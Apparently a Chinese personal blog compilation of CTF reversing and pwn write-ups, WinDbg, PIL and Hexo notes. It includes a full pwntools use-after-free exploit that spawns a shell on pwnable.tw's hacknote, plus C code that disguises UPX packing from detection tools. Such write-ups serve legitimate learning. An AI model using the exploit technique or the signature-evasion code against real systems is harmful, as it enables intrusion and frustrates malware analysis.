0ctf2018

babyvm

第一次做类似的题,记录一下解题思路:

既然是vm,必须要找到dispatcher,找到dispatcher之后,先看其初始化的过程,即dispatcher往上的内容
尽量理解。而后便是分发函数的部分,从case0-case1F逐次慢慢理解,可以先跳过case2。在长时间的理解
之后,我们发现初始化的两个函数得到的值在相与3,以及右移2位相与8之后得到两个变量,记为tmp1,tmp2
。通过tmp1,和tmp2我们可以索引到一个值,这个值和程序的处理十分重要,或者说程序的处理就是由这个
值确定的。联系堆栈式虚拟机的操作,我们可以得到一下猜想:

  1. v229是esp
  2. 每一次从while(1)开始的包含那两个函数的整套操作就是一次取栈顶值,并且v229–操作就是pop操作
  3. 0x13FD132C0处的函数就是push操作
  4. 0-0xffff的空间就是vm.bin的范围
  5. v225是pc
    根据我们的猜想,我们得到程序每次pop出栈顶的值,进行分析,根据分析的结果进行相关操作。
    从而我们得到case0-case1f的猜想:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
case 0:
exit
case 1:
pop eax;push 2;jmp (eax&0x3fffffff)+1
case 2:
进行函数调用,得到flag
case 5:
pop eax;jmp (eax&0x3fffffff)+1
case 6:
pop eax;pop ebx;jmp (ebx&0x3fffffff)+1
case 7:
push 0
case 8:
push 1
case 0xD:
push offset;offset = 4 || 2 || 1 byte
case 0xE:
push offset;offset = 4 || 2 || 1 byte no | 0x80000000
case 0xF:
v10 = eax;pop eax
case 0x10:
push [esp]
case 0x11:
push(~[esp])
case 0x12:
pop eax;pop ebx;push eax+ebx pc+=1
case 0x13:
pop eax;pop ebx;push eax-ebx pc+=1
case 0x14:
pop eax;pop ebx;push eax*ebx pc+=1
case 0x15:
pop eax;pop ebx;push eax/ebx pc+=1
case 0x16:
pop eax;pop ebx;push eax%ebx pc+=1
case 0x17:
pop eax;pop ebx;push 3 pc+=1
case 0x18:
pop eax;pop ebx;push eax&ebx pc+=1
case 0x19:
pop eax;pop ebx;push eax|ebx pc+=1
case 0x1A:
case 0x1B:
case 0x1C:
case 0x1D:
case 0x1E:
pop eax;pop ebx;push 3 pc+=1
case 0x1F:
pop eax;pop ebx;push 3 pc+=1
default:
next_instruction

根据CreateFile,ReadFile,puts的顺序写如下shellcode(右侧伪代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
8D 50 00 00 00 //push 0x80000050
0E 03 //push 3
0E ff // push 0xff
8D 50 00 00 00 //push 0x80000050
0E 80 // push 0x80
8E 01 00 00 00 //push 0x00000001
8D 40 00 00 00 //push 0x80000040
07 // push 0
02 // CreateFile pop 0;pop 0x80000040;pop 0x00000001;pop 0x80
08 // push 1
02 // ReadFile pop 1;pop hFile;pop 0x80000050;pop 0xff
02 // puts pop 3;pop 0x80000050
00 // exit

得到flag
flag

简单的基于壳的变形壳工具

起初写这个简单工具的想法是由原来出一道CTF题目时,对upx壳进行简单变形后,让peid和exeinfoPe无法识别,从而对逆向者在静态分析上增加一定难度写的。但是在写的过程中发现,其实对专业的逆向从业者似乎并不能产生很好的作用,对于熟悉一些基本壳的大牛们,这个工具写了和没写没什么太大的区别。但是由于已经写了那么一点了,索性就写完再说,本来一开始的想法是从静态库中提取多种基本壳的签名,然后对一类壳进行一种变换,这样每一种基本壳也就都有了一种简单的变形壳的,发现价值不大,最终也就写了一个识别upx然后变形的壳,丢上来,哪天代码不见了,也好找,2333,至少也是花了一星期时间的呢!
工具思路:1.识别基本壳的类型 2.根据壳类型,选择不同的变换方式(只写了upx壳)

upx变换方式:1.抹去dos stub Program 2.含有upx的字符串全部替代 3.节表的节名称均修改为正常的.text.rdata等 4.抹去upx特征码 5.增加一个节区(相应地,也要增加一个节表),将入口地址引向新节区,在新节区添加代码,最后实现跳转。(仅用于测试,所以新节区代码很简单,没有反调试,混淆,花指令之类的东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
//main.cpp
#include<stdio.h>
#include<string.h>
#include<Windows.h>
#include<stdlib.h>
#include"compare.h"
#include<stdio.h>

PBYTE realEntryPoint;

//**************copy file****************
char *myCopyFile(char *pExistingFile,char *pNewFile)
{
char *pFileName = pNewFile;
strcpy(pFileName, pExistingFile);
strcat(pFileName, "_new");
CopyFileA(pExistingFile, pFileName, FALSE);
return pFileName;
}
//**************copy file****************

BOOL isPEFormat(PBYTE pFile)
{
PBYTE my_PE = pFile;
if (my_PE[0] == 'M' && my_PE[1] == 'Z')
{
my_PE += 0x3C;
my_PE = pFile + *(DWORD *)my_PE;
if (my_PE[0] == 'P' && my_PE[1] == 'E')
{
wprintf(L"GOOD! This is a PE File!\n");
return TRUE;
}
}
return FALSE;
}

void editWays(int packMethods, PBYTE pFile)
{
/***************move PEHeader to dosHeader**************/
char *sectionName[9] = { ".text",".rdata",".data",".idata",".pdata",".tls",".gfids",".rsrc",".reloc" };
PBYTE dosHeader = pFile + 0x40;
PBYTE my_PE = pFile + *(DWORD *)(pFile + 0x3C);
WORD numOfSectionTable = *(WORD *)(my_PE + 4 + 2);
DWORD peHeaderSize = 4 + 0x14 + +0xE0 + 0x28 * numOfSectionTable;
memcpy(dosHeader, my_PE, peHeaderSize);
PBYTE sectionTable = my_PE + 4 + 0x14 + 0xE0;
PBYTE firstSectionPosition = pFile + *(DWORD *)(sectionTable + 20);
PBYTE newPosition = dosHeader + peHeaderSize;
PBYTE newSectionTable;
do
{
newPosition[0] = '\0';
newPosition += 1;
} while (firstSectionPosition != newPosition);
/***************move PEHeader to dosHeader**************/

/*edit mark that directs to PE*/
*(DWORD *)(pFile + 0x3C) = (DWORD)0x40;
/*edit mark that directs to PE*/
my_PE = pFile + *(DWORD *)(pFile + 0x3C);
sectionTable = my_PE + 4 + 0x14 + 0xE0;
DWORD addressOfEntryPoint;
DWORD newRVA;
DWORD newRawOffset;
BYTE dynamicMark;
switch (packMethods)
{
case 0:
/*edit section name*/
newSectionTable = sectionTable - 0x28;
for (int i = 0; i < numOfSectionTable; i++)
{
newSectionTable += 0x28;
memcpy(newSectionTable, sectionName[i], strlen(sectionName[i]));
}
/*edit section name*/

/*edit entrypoint signature*/
realEntryPoint[0] = 0x90;
/*edit entrypoint signature*/

/********************set characters******************/
newRVA = *(DWORD *)(newSectionTable + 12) + *(DWORD *)(newSectionTable + 8);
newRawOffset = *(DWORD *)(newSectionTable + 16) + *(DWORD *)(newSectionTable + 20);
newSectionTable += 0x28;
memcpy(newSectionTable, sectionName[7], strlen(sectionName[7]));
*(DWORD *)(newSectionTable + 8) = (DWORD)0x1000;
*(DWORD *)(newSectionTable + 12) = (DWORD)newRVA;
*(DWORD *)(newSectionTable + 16) = (DWORD)0x200;
*(DWORD *)(newSectionTable + 20) = (DWORD)newRawOffset;
*(DWORD *)(newSectionTable + 24) = *(DWORD *)(newSectionTable + 28) = *(DWORD *)(newSectionTable + 32) = (DWORD)0x0;
*(DWORD *)(newSectionTable + 36) = (DWORD)0xE0000020;
/*increase a section*/
*(WORD *)(my_PE + 4 + 2) = numOfSectionTable + 1;
/*increase a section*/

/*edit size of image*/
*(DWORD *)(my_PE + 4 + 0x14 + 0x38) = *(DWORD *)(newSectionTable + 12) + *(DWORD *)(newSectionTable + 8);
printf("size of image:%X\n", *(DWORD *)(my_PE + 4 + 0x14 + 0x38));
/*edit size of image*/
/********************set characters******************/
addressOfEntryPoint = *(DWORD *)(my_PE + 4 + 0x14 + 0x10) + *(DWORD *)(my_PE + 4 + 0x14 + 0x1c);
memcpy(entryCode + 12, (DWORD *)&addressOfEntryPoint, 4);
memcpy((pFile + newRawOffset), entryCode, 17);
/*Reset addressOfEntryPoint*/
*(DWORD *)(my_PE + 4 + 0x14 + 0x10) = (DWORD)newRVA;
dynamicMark = *(BYTE *)(my_PE + 4 + 0x14 + 0x46);
if (dynamicMark == 0x40)
{
*(BYTE *)(my_PE + 4 + 0x14 + 0x46) = '\x00';
}
break;
default:
break;
}


}

int comparePackWays(PBYTE pEntryPoint)
{
int method,i,j;
method = i = j = 0;
BOOL find = FALSE;
for (i = 0; i < numOfPackMethod; i++)
{
for (j = 0; j < pack[i].signature_Length; j++)
{
if (!(pEntryPoint[j] == pack[i].signature[j] || pack[i].signature[j] == '?'))
{
wprintf(L"Not the %s\n", pack[i].packName);
break;
}
}
if (j == pack[i].signature_Length)
{
wprintf(L"%s packing!\n", pack[i].packName);
method = i;
find = TRUE;
break;
}
}
if (!find)
{
wprintf(L"Can't find packing match with this program!\n");
method = -1;
}
return method;
}

int checkPackWays(PBYTE pFile)
{
PBYTE my_PE = pFile;
my_PE += 0x3C;
my_PE = pFile + *(DWORD *)my_PE;
/*PE*/
DWORD adddressOfEntryPoint = *(DWORD *)(my_PE + 4 + 0x14 + 16);
/*address of entry point*/
printf("addressOfEntryPoint:%X\n", adddressOfEntryPoint);
WORD numOfSectionTable = *(WORD *)(my_PE + 4 + 2);
/*num of Section Table*/

PBYTE sectionTable = my_PE + 4 + 0x14 + 0xE0;
/*the position of sectionTable*/

DWORD RVA1,RVA2,fileOffset,rawEntryPoint;
RVA1 = RVA2 = fileOffset = rawEntryPoint = 0;
for (int i = 1; i <= numOfSectionTable; i++)
{
RVA1 = *(DWORD *)(sectionTable + 12);
RVA2 = *(DWORD *)(sectionTable + 0x28 + 12);
if (adddressOfEntryPoint >= RVA1 && adddressOfEntryPoint < RVA2)
{
fileOffset = adddressOfEntryPoint - RVA1;
rawEntryPoint = fileOffset + *(DWORD *)(sectionTable + 20);
break;
}
sectionTable += 0x28;
if (i == (numOfSectionTable - 1))
{
RVA1 = *(DWORD *)(sectionTable + 12);
fileOffset = adddressOfEntryPoint - RVA1;
rawEntryPoint = fileOffset + *(DWORD *)(sectionTable + 20);
break;
}
}
printf("rawEntryPoint:%X\n", rawEntryPoint);
realEntryPoint = rawEntryPoint + pFile;
int ways = comparePackWays(realEntryPoint);
printf("packWays:%d\n", ways);
return ways;
}

/**************MappingFileToMemory*******/
int myMappingFileToMemory(char *pFileName)
{
HANDLE hNewFile = NULL;
HANDLE hFileMap = NULL;

hNewFile = CreateFileA(pFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hNewFile == INVALID_HANDLE_VALUE)
{
wprintf(L"CreateFileA Failed! Error code(%d)\n", GetLastError());
return 0;
}

DWORD dwFileSize = GetFileSize(hNewFile, NULL);

hFileMap = CreateFileMappingA(hNewFile, NULL, PAGE_READWRITE, 0, dwFileSize+0x200, NULL);

if (hFileMap == NULL)
{
wprintf(L"CreateFileMappingA Failed! Error code(%d)\n", GetLastError());
CloseHandle(hNewFile);
return 0;
}

PBYTE pFile = (PBYTE)MapViewOfFile(hFileMap, FILE_MAP_WRITE, 0, 0, 0);

if (pFile == NULL)
{
wprintf(L"MapViewOfFile Failed! Error code(%d)\n", GetLastError());
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return 0;
}
/**************MappingFileToMemory*******/

/************************Check PE Format*******************/
BOOL isPE = isPEFormat(pFile);
if (!isPE)
{
wprintf(L"Please choose a PE format file!\n");
UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return 0;
}
/************************Check PE Format*******************/

/************************Check packing methods****************/
int packMethods = checkPackWays(pFile);
/************************Check packing methods****************/

/*******************edit shell******************/
editWays(packMethods, pFile);
/*******************edit shell******************/

// BYTE test[] = "Congratulations!hhhhhh";
// memcpy(pFile, test, sizeof(test));

UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);

return 0;
}


int main(int argc, TCHAR *argv[])
{
if (argc != 2)
{
wprintf(L"Please input two Parameters,one is the Pragram,another is the path which will be packed!\n");
return 0;
}

char pFileName[MAX_PATH] = { 0, };
// strcpy(pFileName, (char *)argv[1]);
// strcat(pFileName, "_new");
// CopyFileA((char *)argv[1], pFileName, FALSE);
myCopyFile((char *)argv[1],pFileName);
printf("%s\n", pFileName);
myMappingFileToMemory(pFileName);


return 0;
}

//compare.h
#include<stdio.h>
#include<string.h>

#define len 0x200
int numOfPackMethod = 1;


typedef struct
{
TCHAR *packName;
unsigned char signature[50];
int signature_Length;
}packMethod;

packMethod pack[] = { { L"upx",{ 0x60,0xBE,'?','?','?',0x00,0x8D,0xBE,'?','?','?',0xFF },12 } };
BYTE entryCode[len] = { 0x53, 0x53, 0x53, 0x5B, 0x5B, 0x83, 0xC4, 0x01, 0x83, 0xC4, 0xFF, 0x68 ,'?','?', '?', '?', 0xC3};

23333,简陋的工具,仅作个人想法的纪念!

win32和MFC逆向总结

win32和MFC的程序逆向已经是以前的东西,这次翻出来,进行一下总结,理论性的东西也快忘了,hhhhh,熟悉下也好。
前提:程序既没有加壳,也没有混淆,就是直接使用(正常)编译器编译好的程序。

win32程序

先说一下win32程序逆向,win32程序分为两种:1.CUI控制台类型 2.GUI窗口类型。

CUI控制台类型

这类的题目,程序的关键代码一般都比较好定位,由于ida打开就是main函数,只要找到输入输出,确定程序流,一步一步逆向下就好。常用手段:1.根据程序的输入和输出的字符串,使用字符串进行定位,ida的alt + A可以切换搜索字符串类型,比如ascii和unicode。 2.在导入表里寻找类似scanf和printf的输入输出函数。

GUI窗口类型

GUI类型的题目,比CUI控制台定位要复杂些。手段:1.同CUI程序,搜索字符串 2.定位导入表的函数,如果有弹窗,定位MessageBox;如果有文本框,定位GetDlgItem,GetDlgItemText,GetWindowText等函数; 3.当然了,前面的方法都只能治标不治本,最重要的就是对WM_COMMAND消息下断,WM_COMMAND = 0x111,即273,ida使用alt + I搜索0x111。因为win32的窗口程序是自己自定义的,窗口函数也是由自己来写的,所有的按钮点击等操作的msg = WM_COMMAND,后面的参数诸如wParam保存的是控件的ID。下面是win32程序的一个大概框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPreInstance,LPSTR CmdLine,int nCmdShow)
{
WNDCLASSEX wc = { };
wc.cbSize = sizeof(WNDCLASSEX);
wc.hbrBackground = (HBRUSH)COLOR_WINDOW;
wc.hInstance = hInstance;
wc.lpfnWndProc = (WNDPROC)WindowProc;
wc.lpszClassName = lps_cl;
wc.style = CS_HREDRAW | CS_VREDRAW;
RegisterClassEx(&wc);
hwnd=CreateWindowEx(WS_EX_WINDOWEDGE,
lps_cl,
wd_text,
WS_OVERLAPPEDWINDOW,
700,
500,
500,
100,
NULL,
NULL,
hInstance,
NULL);
if(hwnd == NULL) return -1;

ShowWindow(hwnd,nCmdShow);
UpdateWindow(hwnd);
hg_app = hInstance;
//上面的示例代码是窗口的创建

MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
//上面是win32消息处理的三个必须且固定的函数,消息Dispatch给对应的窗口处理函数(回调函数)
}
/**************窗口回调函数***********/
LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case WM_CREATE:
{
edit_input=CreateWindow(L"edit",NULL, WS_CHILD | WS_VISIBLE | WS_BORDER,
35, 20, 350, 25, hwnd, NULL, NULL, NULL);
check_Button=CreateWindow(L"Button", L"check", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
400, 20, 50, 25, hwnd, (HMENU)IDB_ONE, hg_app, NULL);
}
return 0;
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDB_ONE:
hThread=(HANDLE)_beginthreadex(NULL,0,&FirstThreadFunc,NULL,0,&threadID1);
break;
case IDB_TWO:
MessageBox(hwnd,L"You are failed!",L"FAIL",MB_OK | MB_ICONINFORMATION);
exit_fun();
break;
case IDB_THREE:
MessageBox(hwnd,L"Only a little!",L"FAIL",MB_OK | MB_ICONINFORMATION);
exit_fun();
break;
case IDB_FOUR:
MessageBox(hwnd,L"Just a little bit!",L"FAIL",MB_OK | MB_ICONINFORMATION);
exit_fun();
case IDB_FIVE:
MessageBox(hwnd,L"Succeed!",L"Congratulation!",MB_OK | MB_ICONINFORMATION);
default:
break;
}
}
return 0;
default:
return DefWindowProc(hwnd,msg,wParam,lParam);
}
return 0;
}

有兴趣进一步学习的同学可以看看windows系统的消息机制相关内容,参考书籍《windows核心编程》《深入浅出MFC》。

MFC程序

这几个链接我觉得讲MFC程序逆向讲的很好了,原理什么的也讲的很清楚。
使用IDA定位基于MFC的CrackMe的按钮函数—–理论篇
使用IDA定位基于MFC的CrackMe的按钮函数—–实践篇(一)
使用IDA定位基于MFC的CrackMe的按钮函数—–实践篇(二)
我总结的大概也不会比这个好了,233333。在win32中窗口过程标准的消息处理变成了找消息映射表,对,就是这个消息映射表,我们来看一下它的结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct AFX_MSGMAP  
{
const AFX_MSGMAP* (PASCAL* pfnGetBaseMap)();
const AFX_MSGMAP_ENTRY* lpEntries;
};
struct AFX_MSGMAP_ENTRY
{
UINT nMessage;
UINT nCode;
UINT nID;
UINT nLastID;
UINT_PTR nSig;
AFX_PMSG pfn;
};

实际上,MFC程序的每个按钮怎么处理,都有一个函数控制,写过MFC程序的应该都知道,这个处理函数就是AFX_PMSG pfn,指向对应消息,对应控件ID的消息处理函数,而一个MFC程序有很多这样的消息处理函数,我们只要找到AFX_MSGMAP消息映射表,然后定位lpEntries指针所指位置,这个位置一般就在指针下面,hhhhh,紧接着就是数个AFX_MSGMAP_ENTRY结构,我们只要根据控件的ID,找到相应的消息处理函数,进入就是关键代码了。
说了这么多,还不如耐心看上面的三个链接,看了就懂了,大概就是这么个道理。因此,我一般定位MFC程序,先使用Resource_hacker打开程序,查看相应控件的ID,在ida里alt + I,输入ID值,查看所有出现的位置,可能会有很多地方,千万别被吓到了,那个关键位置其实一眼就看出来啦,找到.rdata段的地方,自己试试就知道了。定位关键代码也就完成了。
当然了,你也可以选择使用工具来定位,xspy,相信不少伙伴都在用这个工具,我习惯使用资源查找的方法了,所以就没用了。

总结

我知道的大概就那么多,许多地方可能含糊不清,仅仅是一个总结,有兴趣的朋友可以查阅相关资料进行学习,我的总结只是起个抛砖引玉的作用罢了!

-

windbg

windbg配置符号表

环境:winxp sp3/win7

将安装windbg的目录添加进环境变量,默认安装路径是C:\Program Files\Debugging Tools for Windows (x86),如果是默认安装,就把这个目录添加进path环境变量。
新建环境变量_NT_SYMBOL_PATH,值为

1
SRV*c:\Symbols* http://msdl.microsoft.com/download/symbols

启动windbg载入可执行文件时,windbg就会在C盘下建立一个Symbols文件夹,从微软服务器获取相应符号表。也可以离线下载在Symbols文件夹里。
Download-Symbol
尝试打开一个可执行文件,windbg显示如下信息

1
Symbol search path is: SRV*c:\Symbols* http://msdl.microsoft.com/download/symbols

windbg双机调试

google搜索或者必应国外版搜索ida windbg debug kernel就有文档提供参考,远程连接linux等主机使用的是网络链接的ip,而windbg调试内核则是使用的串口,网上也有很多这方面的资料。说一下自己是怎么调试的:
ida + VirtualKD + windbg:在主机安装VirtualKD,VirtualKD里的target目录复制到虚拟机下,启动target目录里的vminstall.exe,这时候虚拟机重启会有一个调试选项,打开主机安装VirtualKD的位置,启动vmmon或者vmmon64,选中对应的虚拟机,同时注意pipe名称,比如kd_winxp,一会儿会用到。
如果使用windbg调试,只需要发送windbg的快捷方式到桌面,修改属性->目标,windbg.exe后面加上 -k com:port=\.\pipe\kd_winxp,pipe,这个kd_winxp就是vmmon里的管道名称,运行windbg,连接即可成功,进入内核模式,ctrl + break中断,输入命令。
如果使用ida调试,打开ida,Debugger->attach->windbg debugger,管道名称同上,com:port=\.\pipe\kd_winxp,pipe,设置options,在specific options里面更换成kernel mode,同时指定windbg安装目录,新版ida要在ida目录下的cfg->ida.cfg的669行,更改信息如下(我的主机):

1
DBGTOOLS = "C:\\Program Files (x86)\\Debugging Tools for Windows (x86)"; //设置windbg安装的目录

以上都设置好以后,点击ok,等待一会就好了。如果长时间处于reconnect状态,连接不上,ida假死,就是串口设置的问题了,这个问题网上搜索一下就好,如果设置的是serial port1,串口是serial port2就会有问题,虚拟机就把打印机移除就好。

windbg常用命令

g 运行

bp + address 设置断点
bl 显示已经设定的断点
bu DriverName!DriverEntry 驱动入口下断点
bc 清除断点
ba r/w 1/2/4 address 在address处下内存访问断点,读,写
bp $exentry 伪寄存器$exentry,记录程序入口点

ld kernel32 加载kernel32模块的符号
lm 显示所有模块
ln 显示最近操作过的模块

db/dw/dd/dq address 查看某地址处1,2,4,8字节
dd address L100 L100这种写法通用,查看从address开始的100个4字节
dt nt!_EPROCESS 查看结构

eb/ew/ed/eq/ef/ep address Values 修改某地址处值

.kill 杀死调试进程
.restart 重新调试

k(n) 显示调用堆栈

u 反汇编地址处代码

? 0x33 + 0x44 运行后将得到计算和

s -b/w/d/q/a/u range target 搜索内存,从某地址处搜索target
s -a 0x400000 L10000 “wrong” 搜索ascii的”wrong”

windbg进入驱动入口

对于无符号的驱动程序,bu DriverName!DriverEntry这种方法下断行不通,从nt!IopLoadDriver某处下断,然后进入DriverEntry,下断的位置因操作系统的不同而不同
Windows XP SP2:nt!IopLoadDriver+0x669
Windows XP SP3:nt!IopLoadDriver+0x66A
Win7 32 professional: nt!IopLoadDriver+0x7e9(不一定准确,本机某一次测试是这个位置)
如何让WinDbg断在驱动的入口处

pwn-uaf

pwn-use after free

uaf存在的原因就是free以后的堆指针没有置0,导致在某些情况下可以实现利用。

这道题是pwnable.tw上的hacknote,题目有add,delete,print note三个功能,其中add一个note,申请了两个堆块,一个堆块固定8字节,前4字节是puts出申请的第二个堆块的内容,后4个字节指向申请的第二个堆块,大小随意。思路就是我们需要让写的内容能覆盖申请的第一个8字节堆块,然后改写堆块内容,从而打印got表地址,执行system,获取shell。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#p = process('./hacknote')
p = remote("chall.pwnable.tw",10102)
elf = ELF('./hacknote')
#libc = ELF('./libc.so.6')
libc = ELF('./libc_32.so.6')

print_addr = 0x804862B
read_got = elf.got['read']
payload = p32(print_addr) + p32(read_got)

#add 0
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("16")
p.recvuntil("Content :")
p.sendline("123456")
#add 1
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("16")
p.recvuntil("Content :")
p.sendline("234567")
#delete 1 0
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("1")
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("0")
#add 2
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("8")
p.recvuntil("Content :")
p.sendline(payload)
#print 1
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline("1")
#recv real address of read
#read_addr = u32(p.recvline()[-5:-1])
read_addr = u32(p.recv(4))
log.info(hex(read_addr))

system_addr = read_addr + libc.symbols['system'] - libc.symbols['read']
log.info(hex(system_addr))

#delete 2
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline("2")
#payload2
payload2 = flat([system_addr, ";sh;"]) # p32(system_addr) + "\x3b\x73\x68\x3b"

#add 4
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline("8")
p.recvuntil("Content :")
p.sendline(payload2)

#call system
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline("1")
p.interactive()

PIL-python-imaging-library

越来越觉得PIL的重要性,决定认认真真地学上一两天,嗯~ o( ̄▽ ̄)o!

PIL

内容基本都是从文档上来的。
文档链接
下面这个网站对PIL的介绍很详细,想了解更多可以看这个。
PIL

使用Image类

从文件载入,或者句柄载入

1
2
import Image
im = Image.open("lena.ppm")
1
2
3
import Image
fp = open("lena.ppm","rb")
im = Image.open(fp)

查看一些对象属性

1
2
print im.format,im.size,im.mode
PPM (512,512) RGB

mode如果是L,代表灰度图像,RGB是彩色图像,CMYK是pre-press图像,这个图像是啥,我还不太清楚。

显示图像

1
im.show()

对图像进行读写

保存图像

1
im.save(outfile,format,options...)

format如果省略,则python自动按插件识别结果保存。如果没有安装扩展插件,需要明确保存格式。

保存为jpeg格式

1
2
3
4
5
6
7
8
9
10
11
import os,sys
import Image

for infile in sys.argv[1:]:
f,e = os.path.splitext(infile)
outfile = f + ".jpg"
if outfile != infile:
try:
image.open(infile).save(outfile)
except IOError:
print "cannot convert",infile

上述代码将把命令行读入的所有指定文件保存为jpg格式,不能保存的抛出异常。

图像缩放

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys
import Image

size = 128,128

for infile in sys.argv[1:]:
outfile = os.path.splitext(infile)[0] + ".thumbnail"
try:
im = Image.open(infile)
im.thumbnail(size)
im.save(outfile,"jpeg")
except:
print "cannot create thumbnail for",infile

截取,粘贴,融合图像

截取图像的一部分

使用crop方法从一张图片上截取子矩形

1
2
box = (100,100,400,400)
region = im.crop(box)

从左上角到右下角

旋转180,再贴回去

1
2
region = region.transpose(Image.ROTATE_180)
im.paste(region,box)

滚动图像(交换图像位置)

1
2
3
4
5
6
7
8
9
10
11
12
13
def roll(image,delta):

xsize,ysize = image.size

delta = delta % xsize
if delta == 0: return image

part1 = image.crop((0,0,delta,ysize))
part2 = image.crop((delta,0,xsize,ysize))
image.paste(part2,(0,0,xsize - delta,ysize))
image.paste(part1,(xsize - delta,0,xsize,ysize))

return image

分割RGB

1
2
r,g,b = im.split()
im = Image.merge("RGB",(b,g,r))

几何变换

简单变换

1
2
out = im.resize(128,128)
out = im.rotate(45) #逆时针旋转

变换图像

1
2
3
4
5
out = im.transpose(Image.FLIP_LEFT_RIGHT) #水平翻转
out = im.transpose(Image.FLIP_TOP_BOTTOM) #垂直翻转
out = im.transpose(Image.ROTATE_90)
out = im.transpose(Image.ROTATE_180)
out = im.transpose(Image.ROTATE_270)

颜色变换(在不同mode下转换)

1
im = Image.open("lena.ppm").convert("L")

滤镜

1
2
import ImageFilter
out = im.filter(ImageFilter.DETAIL)

有很多滤镜的功能,在ImageFilter模块里,具体可以参考文档。
ImageFilter

点操作(提取不同通道像素)

读取每一帧

1
2
3
4
5
6
7
8
import Image

im = Image.open("animation.gif")
try:
im.seek(im.tell() + 1)
im.save(str(im.tell()) + ".jpg")
except EOFError:
pass

个人博客建成

使用jekyll + Github Pages的方法搭建,windows上搭建jekyll失败,换成Ubuntu,总算是安装好了jekyll,更换主题以后,修改配置,背景时,被搞晕了,找的主题没一个符合我这个菜鸟的,可能是自己太菜,配置不好……
后来幸得师兄提醒,换了Hexo + Github Pages,Hexo果然适合我这种啥web都不懂的菜鸟,总算是会配置一下了……心累!
配置环境还是官方文档简单靠谱!
Hexo
jekyll

找到了用hexo无法部署到github上的原因,真的好鸡冻!hexo还是和jekyll在部署到github上不同的,jekyll使用git的push操作,而hexo则是hexo generate一下,生成静态页面,然后再hexo deploy,就部署到github上了。

昨天的b萌Chtholly对战英莉莉输了,嘛,虽然预计在情理之中,额,还是挺不开心的!最后,欢迎柯朵莉回家^_^
柯朵莉

hexo用法

hexo部署到远程仓库

配置根目录下_config.yml,修改如下:
deploy:
type: git
repo: git@github.com:Your_github_name/Your_github_name.github.io.git
branch: master

1
2
3
$ hexo clean
$ hexo generate
$ hexo deploy

如果hexo deploy出现ERROR:Deployer not found: git,那么安装一下hexo-deployer-git就好!

1
npm install hexo-deployer-git

Create a new post

1
$ hexo new "my new post"

More info: Writing

Run server

1
$ hexo serve

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

Git-Learing

本地建站,写文章成功。但是push到Github Pages时出现问题,长时间无法解决,于是决定好好看看git。

简单的使用和说明->Git

Git的说明

Git是分布式版本控制系统

版本控制系统: 类似于玩RPG类游戏,可以存档和读档一样,轻松更换版本。
